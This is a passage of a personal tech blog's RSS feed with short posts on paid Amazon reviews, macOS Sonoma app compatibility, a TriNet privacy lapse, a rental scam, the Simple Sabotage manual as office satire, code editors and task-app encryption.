&lt;p&gt;&lt;img src=&#34;amazon-response.jpg&#34; alt=&#34;Amazon&#39;s response to my review&#34;&gt;&lt;/p&gt;
&lt;p&gt;If I can&#39;t talk about it on Amazon, I&#39;ll talk about it here. Amazon doesn&#39;t seem to care if sellers are paying for good reviews. They don&#39;t want you talking about it, though. The takeaway is that Amazon&#39;s reviews aren&#39;t trustworthy. If that seller tried to bribe me, they surely paid other customers for their good ratings.&lt;/p&gt;
&lt;p&gt;You can do better, Amazon. Your product ratings are a big part of why people buy things from you. If we know they&#39;re literally paid ads, we&#39;d be better off taking our business elsewhere.&lt;/p&gt;
&lt;h2 id=&#34;updated-2023-12-26&#34;&gt;Updated 2023-12-26&lt;/h2&gt;
&lt;p&gt;Same with a &lt;a href=&#34;https://www.amazon.com/gp/product/B0C38PLGPL&#34;&gt;travel steamer&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;postcard-steamer-front.jpg&#34; alt=&#34;Front of the steamer postcard&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;postcard-steamer-back.jpg&#34; alt=&#34;Back of the steamer postcard&#34;&gt;&lt;/p&gt;
&lt;p&gt;An acquaintance suggested writing the review, cashing in the reward, then updating the review with my genuine thoughts. That’s tempting. I don’t blame anyone who does that. I don’t want a sketchy vendor to be able to say that they’ve paid me for reviews, though.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>macOS 14 Sonoma is out, and mostly OK</title>
      <link>https://honeypot.net/post/macos-14-sonoma-out-and-mostly-ok/</link>
      <pubDate>Tue, 26 Sep 2023 10:58:09 -0700</pubDate>
      
      <guid>https://honeypot.net/post/macos-14-sonoma-out-and-mostly-ok/</guid>
      
        <description>&lt;p&gt;Apple release macOS 14 Sonoma today. I always install the major OS beta versions on my work Mac when they&#39;re first released, to see if anything critical breaks before it affects my coworkers. That happens sometimes, like when macOS 11 Big Sur deprecated kernel extensions and affected some software we used. Sonoma and its 1st-party apps were in good shape from the start.&lt;/p&gt;
&lt;p&gt;I stumbled across a few glitches with 3rd-party software:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.obdev.at/products/littlesnitch/index.html&#34;&gt;Little Snitch&lt;/a&gt; version 5.7 &lt;a href=&#34;https://www.obdev.at/products/littlesnitch/releasenotes.html&#34;&gt;adds Sonoma support&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://rogueamoeba.com&#34;&gt;Rogue Amoeba&lt;/a&gt;&#39;s apps that use their Audio Capture Engine (ACE) &lt;a href=&#34;https://weblog.rogueamoeba.com/2023/09/15/all-rogue-amoeba-apps-have-initial-support-for-macos-14-sonoma/&#34;&gt;need to be updated&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://c-command.com/spamsieve/&#34;&gt;SpamSieve&lt;/a&gt; version 2 doesn&#39;t work because Mail.app removed support for plugins in favor of a new extensions API. Version 3 (a paid upgrade) &lt;a href=&#34;https://c-command.com/blog/2023/09/21/spamsieve-3-0/&#34;&gt;works with Sonoma&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://marked2app.com&#34;&gt;Marked 2&lt;/a&gt; crashes when &lt;a href=&#34;https://freeradical.zone/@tek/110976230048383142&#34;&gt;loading docs with fewer than 999 visible bytes&lt;/a&gt;. It&#39;s still broken as of today. Workaround: Add a bunch of lorem ipsum to the bottom of the file.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.macbartender.com&#34;&gt;Bartender&lt;/a&gt; 4 doesn&#39;t work. A paid upgrade to Bartender 5 &lt;a href=&#34;https://www.macbartender.com/Bartender5/support/&#34;&gt;fixes it&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.roeybiran.com/apps/finbar&#34;&gt;Finbar&lt;/a&gt; didn&#39;t work until &lt;a href=&#34;https://www.roeybiran.com/apps/finbar/release-notes&#34;&gt;version 1.10&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Summary: Sonoma is a good upgrade and I&#39;ve installed it on my Macs. You may need to upgrade some of your other software at the same time.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Newsom vetoed self-driving truck bill</title>
      <link>https://honeypot.net/post/newsom-vetoed-self-driving-truck-bill/</link>
      <pubDate>Mon, 25 Sep 2023 12:08:52 -0700</pubDate>
      
      <guid>https://honeypot.net/post/newsom-vetoed-self-driving-truck-bill/</guid>
      
        <description>&lt;p&gt;California governor &lt;a href=&#34;https://www.courthousenews.com/california-governor-vetoes-autonomous-vehicle-bill/&#34;&gt;Gavin Newsom vetoed a bill&lt;/a&gt; that would have required self-driving vehicles to have a human driver.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;quot;Considering the longstanding commitment of my administration to addressing the present and future challenges for work and workers in California, and the existing regulatory framework that presently and sufficiently governs this particular technology, this bill is not needed at this time,&amp;quot; Newsom wrote. &amp;quot;For these reasons, I cannot sign this bill.&amp;quot;&amp;quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Good. I don&#39;t see this as a safety issue so much as a make-work law. If a human would have to be in a self-driving truck at all times and ready to assume the controls at a moment&#39;s notice, that&#39;s basically human-driven with extra steps. Either the tech is good enough to be autonomous, or it&#39;s not good enough to replace a human driver in the first place. And as a driver, I don&#39;t think I&#39;d want to be legally responsible for whatever boneheaded move a truck might take in the moments before I could regain control over it. &amp;quot;Hey, I know it was the AI that decided to swerve into the crowd of toddlers, and you only had 300ms to respond, but you were the one sitting in the driver&#39;s seat...&amp;quot;&lt;/p&gt;
&lt;p&gt;I&#39;m not thrilled with ending human jobs without giving those people a way to survive. Even if I weren&#39;t sympathetic to those hard-working people who are ready and willing to do the tough jobs that keep society running (and I hope it&#39;s obvious that I am), enlightened self-interest means that I don&#39;t want all of them to be unemployed and hungry. That&#39;s bad for everyone. I also wish we shipped more freight via train, which is cheaper and way more environmentally friendly. Making it easier and cheaper to carry even more via truck is probably the wrong process to optimize.&lt;/p&gt;
&lt;p&gt;Still, I think this bill was a well meaning but ultimately wrong solution. Frankly, it seems like it&#39;d be cheaper and more efficient to pay those drivers to stay home than to pay them to perch in a self-driving truck.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>TriNet shares employee PII without controls</title>
      <link>https://honeypot.net/post/trinet-shares-employee-pii-without-controls/</link>
      <pubDate>Tue, 29 Aug 2023 11:43:03 -0700</pubDate>
      
      <guid>https://honeypot.net/post/trinet-shares-employee-pii-without-controls/</guid>
      
        <description>&lt;p&gt;My employer&#39;s HR department asked me to validate a coworker&#39;s identification documents and attest that they&#39;re legitimate, for government tax form purposes.&lt;/p&gt;
&lt;p&gt;I got an email from our payroll vendor, TriNet, with a link to attest to those documents&#39; authenticity. Clicking it took me to a page with scans of my friend&#39;s driver&#39;s license and Social Security card &lt;em&gt;without requiring me to log in first&lt;/em&gt;. My coworker hadn&#39;t entered their driver&#39;s license number into the form, so I used the scanned image to enter it for them.&lt;/p&gt;
&lt;p&gt;That&#39;s pretty messed up. Good thing TriNet didn&#39;t send that link to the wrong person, or they would have shared my colleague&#39;s personally identifiable information with random strangers.&lt;/p&gt;
&lt;p&gt;If your company uses TriNet, ask them for more information about this terrible, horrible, no good, very bad process, and how it got past design review. Their whole job is managing private payroll information. They&#39;re not very good at it.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Veilid in The Washington Post</title>
      <link>https://honeypot.net/post/veilid-in-washington-post/</link>
      <pubDate>Fri, 04 Aug 2023 09:18:23 -0700</pubDate>
      
      <guid>https://honeypot.net/post/veilid-in-washington-post/</guid>
      
        <description>&lt;p&gt;I&#39;ve been helping on &lt;a href=&#34;https://veilid.com&#34;&gt;a fun project&lt;/a&gt; with some incredibly brilliant friends. I found myself talking about it to &lt;a href=&#34;https://www.washingtonpost.com/people/joseph-menn/&#34;&gt;a reporter&lt;/a&gt; at The Washington Post. &lt;a href=&#34;https://www.washingtonpost.com/technology/2023/08/02/encryption-dead-cow-cult-apps-def-con/&#34;&gt;The story&lt;/a&gt; just came out. My part was crucial, insightful, and far, far down the page:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Once known for distributing hacking tools and shaming software companies into improving their security, a famed group of technology activists is now working to develop a system that will allow the creation of messaging and social networking apps that won’t keep hold of users’ personal data.
[...]
“It’s a new way of combining [technologies] to work together,” said Strauser, who is the lead security architect at a digital health company.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;You bet I&#39;m letting this go to my head.&lt;/p&gt;
&lt;p&gt;At work: &amp;quot;Kirk, I think you&#39;re wrong.&amp;quot; &amp;quot;Well, &lt;em&gt;one&lt;/em&gt; of us was featured in WaPo, so we&#39;ll just admit that I&#39;m the expert here.&amp;quot;&lt;/p&gt;
&lt;p&gt;At home: &amp;quot;Honey, can you take the trash out?&amp;quot; &amp;quot;People in The Washington Post can&#39;t be expected to just...&amp;quot; &amp;quot;&lt;em&gt;Take this out, &#39;please&#39;.&lt;/em&gt;&amp;quot;&lt;/p&gt;
&lt;p&gt;But really, Veilid is incredibly neat and I&#39;m awed by the people I&#39;ve been lucky to work with. Check it out after &lt;a href=&#34;https://forum.defcon.org/node/246124&#34;&gt;the launch&lt;/a&gt; next week at &lt;a href=&#34;https://defcon.org&#34;&gt;DEF CON 31&lt;/a&gt;.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Simply Sabotaging an Office</title>
      <link>https://honeypot.net/post/simply-sabotaging-an-office/</link>
      <pubDate>Mon, 31 Jul 2023 08:52:36 -0700</pubDate>
      
      <guid>https://honeypot.net/post/simply-sabotaging-an-office/</guid>
      
        <description>&lt;p&gt;The US Office of Strategic Services, the precursor of today&#39;s CIA, wrote the &lt;a href=&#34;https://www.gutenberg.org/files/26184/26184-h/26184-h.htm&#34;&gt;Simple Sabotage Field Manual&lt;/a&gt; in 1944. Its goal was clear:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The purpose of this paper is to characterize simple sabotage, to outline its possible effects, and to present suggestions for inciting and executing it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The target audience was people living in countries occupied by foreign armies, and it aimed to give them tools to surreptitiously fight back against the invaders. You should go read it now. Go ahead. It&#39;s not long, and the manual&#39;s packed with clever and fascinating ideas for gumming up an organization&#39;s plans.&lt;/p&gt;
&lt;p&gt;But as I read it, some of its suggestions sounded a lot like things I&#39;ve seen at the office. This is a great analogy for &lt;a href=&#34;https://en.wikipedia.org/wiki/Technical_debt&#34;&gt;technical debt&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(1) Let cutting tools grow dull. They will be inefficient, will slow down production, and may damage the materials and parts you use them on.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;By section 11, &amp;quot;General Interference with Organizations and Production&amp;quot;, the analogies became concrete behaviors we&#39;ve all seen:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;(a) Organizations and Conferences&lt;/strong&gt;&lt;br&gt;
(1) Insist on doing everything through &amp;quot;channels.&amp;quot; Never permit short-cuts to be taken in order to expedite decisions.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;quot;Channels&amp;quot; are there for a reason, and large organizations have to have certain formal processes in place so they don&#39;t devolve into chaos. However, don&#39;t let hidebound processes block progress. They&#39;re supposed to make work possible, not completely block it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(3) When possible, refer all matters to committees, for &amp;quot;further study and consideration.&amp;quot; Attempt to make the committees as large as possible--never less than five.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;When an excited and competent colleague asks to improve something, and it&#39;s not going to require the rest of the department to change their plans, find a way to let them. Nothing kills enthusiasm like scheduling a preliminary pre-meeting planning session a month later.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(6) Refer back to matters decided upon at the last meeting and attempt to re-open the question of the advisability of that decision.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Settled business should say settled. If new information has come to light, then that&#39;s a new discussion. Once a group has reached a decision and started making plans on top of it, it&#39;s too late to re-litigate old complaints.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(7) Advocate &amp;quot;caution.&amp;quot; Be &amp;quot;reasonable&amp;quot; and urge your fellow-conferees to be &amp;quot;reasonable&amp;quot; and avoid haste which might result in embarrassments or difficulties later on.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That sounds like excellent advice, doesn&#39;t it? How insidious! Saying &amp;quot;no&amp;quot; incurs less personal risk than saying &amp;quot;yes&amp;quot;, but it stops all progress. Find a way to say &amp;quot;yes, but make sure to...&amp;quot; instead.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;(b) Managers and Supervisors&lt;/strong&gt;&lt;br&gt;
(2) &amp;quot;Misunderstand&amp;quot; orders. Ask endless questions or engage in long correspondence about such orders. Quibble over them when you can.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;No one enjoys having to explain all their ideas repeatedly. Sometimes it&#39;s better to say &amp;quot;fine, go build it and show me&amp;quot;. Painting a picture is more fun than writing encyclopedic descriptions of what it will eventually look like. Trust smart people to do smart things.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(7) Insist on perfect work in relatively unimportant products; send back for refinishing those which have the least flaw. Approve other defective parts whose flaws are not visible to the naked eye.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Is there a meaningless typo in internal documentation? Did the author give something a name that&#39;s accurate but not the one you would have chosen? Is their style different from your own, yet reasonable and understandable by their coworkers? Resist the urge to &amp;quot;improve&amp;quot; their work. Let it go. Save that political capital for when something&#39;s objectively wrong.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(11) Hold conferences when there is more critical work to be done.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;There&#39;s nothing I can add here.&lt;/p&gt;
&lt;p&gt;And for individual contributors:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;(d) Employees&lt;/strong&gt;&lt;br&gt;
(5) Do your work poorly and blame it on bad tools, machinery, or equipment. Complain that these things are preventing you from doing your job right.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Granted, some tools are genuinely awful. If that&#39;s the case, speak up and suggest good alternatives. Better, whip up a demonstration. Endless kvetching has never improved the situation.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(6) Never pass on your skill and experience to a new or less skillful worker.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ineffective employees sometimes purposefully worm their way into critical business processes. What a miserable way to live! If you&#39;re the only person who can do a certain important thing, you&#39;ll never get to fully leave your job behind. Who wants to get called on vacation? Do yourself, your coworkers, and your company a favor: teach other people how to do your job. Make yourself valuable by excelling at it, but let other people help you carry the load.&lt;/p&gt;
&lt;p&gt;None of the behaviors above are inherently malicious. Most can be explained by well-meaning people trying to do their jobs. That&#39;s what makes them each so dangerous to an organization. A coworker who regularly schedules vague meetings to rehash old problems when you&#39;re trying to get work done probably isn&#39;t a deliberate saboteur. And yet, they&#39;re following the CIA&#39;s best advice on how to grind work to a halt.&lt;/p&gt;
&lt;p&gt;Read the manual. Remember it. And when you see those behaviors pop up in your office, put a quick end to them.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Happy 25th birthday, honeypot.net!</title>
      <link>https://honeypot.net/post/happy-25th-birthday-honeypot-dot-net/</link>
      <pubDate>Sat, 01 Jul 2023 09:37:53 -0700</pubDate>
      
      <guid>https://honeypot.net/post/happy-25th-birthday-honeypot-dot-net/</guid>
      
        <description>&lt;p&gt;In times of yore, my friends gave their computers cool cyberpunky names so that they sounded cool at LAN parties: &amp;quot;Hey, can you toss me an Ethernet cable for &lt;em&gt;suntzu&lt;/em&gt;?&amp;quot; &amp;quot;Sure. Here&#39;s the switch I&#39;m using for &lt;em&gt;chaosium&lt;/em&gt;.&amp;quot; My Amiga had a few hard drives to store all the, ahem, &lt;em&gt;public domain music files&lt;/em&gt; that we traded around. I don&#39;t know what prompted me to think of it as the honeypot full of music, but it stuck, and I christened it &lt;em&gt;honeypot&lt;/em&gt; to be one of the cool kids.&lt;/p&gt;
&lt;p&gt;I was working at an ISP and handling domain registration tasks for our customers. It struck me as a great idea to one-up my friends and turn my computer&#39;s name into a full-blown domain name. The &lt;code&gt;.org&lt;/code&gt; TLD didn&#39;t feel right because I wasn&#39;t an organization, and definitely didn&#39;t identify with .org&#39;s non-profit connotations. &lt;code&gt;.com&lt;/code&gt; also felt wrong because I wasn&#39;t some boring company that had decided to hop on to the Internet to see what the fuss was all about. &lt;code&gt;.net&lt;/code&gt; had just the right about of geek cred, so &lt;em&gt;honeypot.net&lt;/em&gt; it was.&lt;/p&gt;
&lt;p&gt;It was the custom to have a cool and vaguely menacing desktop wallpaper to go with our cool and vaguely menacing handles. If you&#39;ve seen &amp;quot;&lt;a href=&#34;https://en.wikipedia.org/wiki/Hackers_(film)&#34;&gt;Hackers&lt;/a&gt;&amp;quot;, you&#39;re familiar with those ideas. Here was my pre-honeypot.net background:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;TekniqueFire.jpeg&#34; alt=&#34;How cool was I, right?&#34;&gt;&lt;/p&gt;
&lt;p&gt;That wasn&#39;t good enough to show off my new domain, so I replaced it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;NewHoneypotFire.png&#34; alt=&#34;Obligatory Nine Inch Nails-style backward n.&#34;&gt;&lt;/p&gt;
&lt;p&gt;I needed to change things a bit when I acquired a second computer. Instead of using the whole domain name for a single host, I decided on a whim to give each one a name from &lt;a href=&#34;https://en.wikipedia.org/wiki/A._A._Milne&#34;&gt;A. A. Milne&#39;s&lt;/a&gt; &lt;a href=&#34;https://en.wikipedia.org/wiki/Winnie-the-Pooh&#34;&gt;Winnie-the-Pooh&lt;/a&gt; stories. First, Pooh was my childhood stuffed animal best friend, and I still like him. Second, Pooh loves honey, as in a pot of it -- a honeypot. Finally, it was an ironic pushback against the scary hacker imagery that was common at the time.&lt;/p&gt;
&lt;p&gt;When I registered honeypot.net, about &lt;a href=&#34;https://www.nsf.gov/od/lpa/news/03/fsnsf_internet.htm&#34;&gt;2 million domains&lt;/a&gt; existed. Today there are about &lt;a href=&#34;https://domainnamestat.com/statistics/overview&#34;&gt;700 million&lt;/a&gt;. I wish I&#39;d gotten on the Bitcoin or Apple stock bandwagons that early.&lt;/p&gt;
&lt;p&gt;Happy 25th birthday, honeypot.net. We&#39;ve had fun.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Twitter went dark. Now what?</title>
      <link>https://honeypot.net/post/twitter-went-dark-now-what/</link>
      <pubDate>Fri, 30 Jun 2023 09:47:59 -0700</pubDate>
      
      <guid>https://honeypot.net/post/twitter-went-dark-now-what/</guid>
      
        <description>&lt;p&gt;Twitter is in a race with Reddit to see who can ruin their service more quickly. That&#39;s the simplest explanation I have for Twitter&#39;s change today that hides all of their users&#39; posts behind a login page. Until today, you could still view a favorite company&#39;s messages, or a sport team&#39;s highlights, or an interesting author&#39;s opinions, without logging on to the site. If you wanted to interact with that page by liking a post or replying to it, you needed an account. It was free to view those posts, though. And now, it&#39;s not.&lt;/p&gt;
&lt;p&gt;For end users, this immediately devalues Twitter as a way to casually catch up with public figures. For those public figures, this immediately devalues Twitter as a way to broadcast messages to the world. The service still has many users today, of course, and those people won&#39;t go away immediately. But most recent public estimates say that Twitter has about 400 million users, or about 1/10th of the world&#39;s online population. Assuming that all of those accounts are real people, which is a giant assumption, that means about 90% of the world can&#39;t see those messages anymore.&lt;/p&gt;
&lt;p&gt;A couple of pieces of free advice for people and organizations still posting to Twitter:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Investigate the alternatives that are open to readers by default. Facebook and friends also make it hard for casual visitors to see messages without logging in. Many brands have flocked to Mastodon, Micro.blog, and newer services like Bluesky.&lt;/li&gt;
&lt;li&gt;Track your engagement numbers. If Twitter still reports a similar number of views for your messages after making them inaccessible to 90% of the world, those statistics are probably fake.&lt;/li&gt;
&lt;li&gt;Blogs and newsletters still exist, and you have complete control over them. Consider communicating with your most loyal followers over open, easy-to-use channels that everyone can access.&lt;/li&gt;
&lt;li&gt;And finally, start working on your Twitter exit strategy. As the site continues to remove the guardrails that kept it relatively civil and brand-safe, it&#39;s only going to become a worse place to hang out.&lt;/li&gt;
&lt;/ol&gt;
</description>
      
    </item>
    
    <item>
      <title>Quitting Reddit</title>
      <link>https://honeypot.net/post/quitting-reddit/</link>
      <pubDate>Wed, 28 Jun 2023 09:26:11 -0700</pubDate>
      
      <guid>https://honeypot.net/post/quitting-reddit/</guid>
      
        <description>&lt;p&gt;I&#39;ve spent way more time on Reddit than I should have. I justified it to myself by saying it was a great way to stay current on news and technology trends. Really, it was just a slow drip of tiny endorphin hits that felt good but ultimately didn&#39;t make my life better.&lt;/p&gt;
&lt;p&gt;Thanks to Reddit CEO Steve Huffman&#39;s ham-fisted community management and the resulting moderator and user boycott, I deleted its apps off my devices and stopped visiting the site altogether. The first couple of days were difficult, not in the overwhelming craving way that quitting smoking was hard, but because muscle memory kept trying to open the apps the moment I found myself with a few seconds to spare. That, too, passed.&lt;/p&gt;
&lt;p&gt;Thanks, Reddit, for breaking my unhealthy addiction to your site. I couldn&#39;t have done it without you.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Why would you scan a QR code from a random stranger?</title>
      <link>https://honeypot.net/teknique/</link>
      <pubDate>Sun, 25 Jun 2023 12:33:36 -0700</pubDate>
      
      <guid>https://honeypot.net/teknique/</guid>
      
        <description>&lt;p&gt;May void warranties. Do not expose to direct sunlight. May be harmful or fatal if ingested. Contains a chemical known to the State of California to cause cancer. Has marks on the permanent record. Do not taunt.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://honeypot.net/images/tekgritty.jpg&#34; alt=&#34;Spotted in the wild&#34;&gt;&lt;/p&gt;
&lt;p&gt;Mostly harmless.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Fake landlord tried to scam my kid</title>
      <link>https://honeypot.net/post/fake-landlord-tried-scam-kid/</link>
      <pubDate>Tue, 20 Jun 2023 12:35:34 -0700</pubDate>
      
      <guid>https://honeypot.net/post/fake-landlord-tried-scam-kid/</guid>
      
        <description>&lt;p&gt;My kid and their friend are looking for a house to rent. They found a perfect match, with a nice house in a pretty neighborhood and accommodating landlords, but there were a few red flags.&lt;/p&gt;
&lt;p&gt;The last was when the landlords wanted kid and friend to send them money, supposedly because they live in a different state, and then they&#39;d mail the house keys. The landlord also sent the kids a signed lease to sign and return. The signature on that lease didn&#39;t match up with their name:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;leasesig.png&#34; alt=&#34;Signature from the lease&#34;&gt;&lt;/p&gt;
&lt;p&gt;I did a reverse image search on the signature, and it was L. Ron Hubbard&#39;s signature from &lt;a href=&#34;https://en.wikipedia.org/wiki/L._Ron_Hubbard&#34;&gt;his Wikipedia article&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;wikipediasig.png&#34; alt=&#34;Signature from Wikipedia&#34;&gt;&lt;/p&gt;
&lt;p&gt;I took no joy in breaking the bad news to the kids, but I praised them profusely for talking to me about it first.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Language Server Protocol Launched a Golden Age of Editors</title>
      <link>https://honeypot.net/post/language-server-protocol-launched-golden-age-editors/</link>
      <pubDate>Wed, 14 Jun 2023 08:17:41 -0700</pubDate>
      
      <guid>https://honeypot.net/post/language-server-protocol-launched-golden-age-editors/</guid>
      
        <description>&lt;p&gt;Microsoft developed &lt;a href=&#34;https://en.wikipedia.org/wiki/Language_Server_Protocol&#34;&gt;Language Server Protocol&lt;/a&gt; (&amp;quot;LSP&amp;quot;) a few years ago to make it easier to add support for new languages to &lt;a href=&#34;https://code.visualstudio.com&#34;&gt;VS Code&lt;/a&gt;. Lots of smart people have written interesting things about LSP and I don&#39;t want to rehash all that, but in summary: it gives people who like using a computer language a standard way to tell VS Code how to work with it.&lt;/p&gt;
&lt;p&gt;Thing is, I don&#39;t like VS Code at all. It&#39;s a brilliant program, but under the covers it&#39;s a web browser running a very clever JavaScript program. It doesn&#39;t, and can&#39;t, and won&#39;t, ever feel like a native application, and that bothers me more than it should. I much prefer using what others call &lt;a href=&#34;https://inessential.com/2020/03/19/proxyman&#34;&gt;Mac-assed Mac apps&lt;/a&gt;. This is where LSP shows its real value.&lt;/p&gt;
&lt;p&gt;Other apps can support LSP, too. Emacs users wrote &lt;a href=&#34;https://github.com/emacs-lsp/lsp-mode&#34;&gt;a couple&lt;/a&gt; of &lt;a href=&#34;https://github.com/joaotavora/eglot&#34;&gt;different ways&lt;/a&gt; to connect those nifty new language servers to their favorite editor. Voila! Now Emacs has delightful support for every language that VS Code knows how to edit. So does &lt;a href=&#34;https://github.com/prabirshrestha/vim-lsp&#34;&gt;Vim&lt;/a&gt;. And now, so do &lt;a href=&#34;https://nova.app&#34;&gt;Nova&lt;/a&gt; and even the venerable &lt;a href=&#34;https://www.barebones.com/products/bbedit/&#34;&gt;BBEdit&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;That last one blew me away. I&#39;d seen it from a distance over the years. It&#39;s impossible to use a Mac as a professional developer without at least being aware that it exists. BBEdit always struck me as a very neat, but very dated, niche editor that people kept using because they were too stubborn to switch. Oh, how wrong I was. I downloaded a copy a couple of weeks ago to kick the tires and found that since it can speak LSP, it might be the best programming environment I&#39;ve ever used on my Mac. (&amp;quot;How&#39;s its Python? Whoa! Is it that good with Rust? Whoa! How about… Terraform files? WHOA!&amp;quot;) 30 years of development as a text editor, plus all the effort that programming language users put into giving LSP broad and deep language support, yielded something that has incredible text mangling abilities &lt;em&gt;and&lt;/em&gt; cutting-edge programming features. I love it. I&#39;ve been trialing it as my main editor since then, and every day I appreciate it more.&lt;/p&gt;
&lt;p&gt;I think we&#39;re in a new golden age of programming editors. Now that any editor which can use LSP competes on a level playing field, the real competition is in subjective areas like the user interface, responsiveness, ergonomics, and extra functionality. Thanks to VS Code, those Mac-assed Mac apps redefine what developing software on a Mac can be like, and I couldn&#39;t be more pleased with my options.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>I use Things without encryption</title>
      <link>https://honeypot.net/post/use-things-without-encryption/</link>
      <pubDate>Fri, 09 Jun 2023 23:20:00 +0000</pubDate>
      
      <guid>https://honeypot.net/post/use-things-without-encryption/</guid>
      
        <description>&lt;p&gt;I tell people &lt;a href=&#34;https://honeypot.net/post/do-not-use-readdle-spark-email-app/&#34;&gt;not to use Readdle&#39;s Spark email app&lt;/a&gt;. Then I turn around and use the &lt;a href=&#34;https://culturedcode.com/things/&#34;&gt;Things&lt;/a&gt; task manager, which lacks end-to-end encryption (E2EE). That concerns me. I have a &lt;a href=&#34;https://en.wikipedia.org/wiki/Personal_knowledge_management&#34;&gt;PKM&lt;/a&gt; note called &amp;quot;Task managers&amp;quot;, and under &amp;quot;Things&amp;quot; my first bullet point is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Lacks end-to-end encryption&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I realize I&#39;m being hypocritical here, but perhaps only a little bit. There&#39;s a difference in exposure between Things and, say, my PKM notes, archive of scanned documents, email, etc.:&lt;/p&gt;
&lt;p&gt;I don&#39;t put highly sensitive information in Things. No, I don&#39;t want my actions in there to be public, but they&#39;re generally no more detailed than &amp;quot;make an allergist appointment&amp;quot; or &amp;quot;ask boss about a raise&amp;quot;. I know some people use Things as a general note-taking app but I don&#39;t. There are other apps more tailored to that and I use them instead.&lt;/p&gt;
&lt;p&gt;I control what information goes into Things. If my doctor were to email me sensitive medical test results, the Spark team could hypothetically read them. Cultured Code can only view what I personally choose to put into Things. (That glosses over the &amp;quot;Mail to Things&amp;quot; feature, but I never give that address to anyone else and I don&#39;t worry about it being misused.)&lt;/p&gt;
&lt;p&gt;Things can&#39;t impersonate me. Readdle could use my email credentials to contact my boss and pretend to be me. Now, I&#39;m confident that they won&#39;t. They&#39;re a good, reputable company. But they could, and that&#39;s enough to keep me away from Spark.&lt;/p&gt;
&lt;p&gt;Finally, Cultured Code is a German company covered by the GDPR. They have strong governmental reasons not to do shady stuff with my data.&lt;/p&gt;
&lt;p&gt;While I don&#39;t like that Things lacks E2EE, and I wish that it had it, the lack isn&#39;t important enough for how I want to use it to keep me away from it. There are more secure alternatives like &lt;a href=&#34;https://www.omnigroup.com/omnifocus/&#34;&gt;OmniFocus&lt;/a&gt; and Reminders, but the benefits that I get from Things over those options makes it worthwhile for me to hold my nose and use it.&lt;/p&gt;
&lt;p&gt;Everyone has to make that decision based on their own usage. If you have actions like &amp;quot;send government documents to reporter&amp;quot; or &amp;quot;call patient Amy Jones to tell her about her cancer&amp;quot;, then you shouldn&#39;t use Things or anything else without E2EE. I&#39;d be peeved if my Things actions were leaked, but it wouldn&#39;t ruin my life or get me fired.&lt;/p&gt;
&lt;p&gt;But I know I should still look for something more secure.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>iA Presenter Public Launch</title>
      <link>https://honeypot.net/post/ia-presenter-public-launch/</link>
      <pubDate>Fri, 02 Jun 2023 19:08:30 +0000</pubDate>
      
      <guid>https://honeypot.net/post/ia-presenter-public-launch/</guid>
      
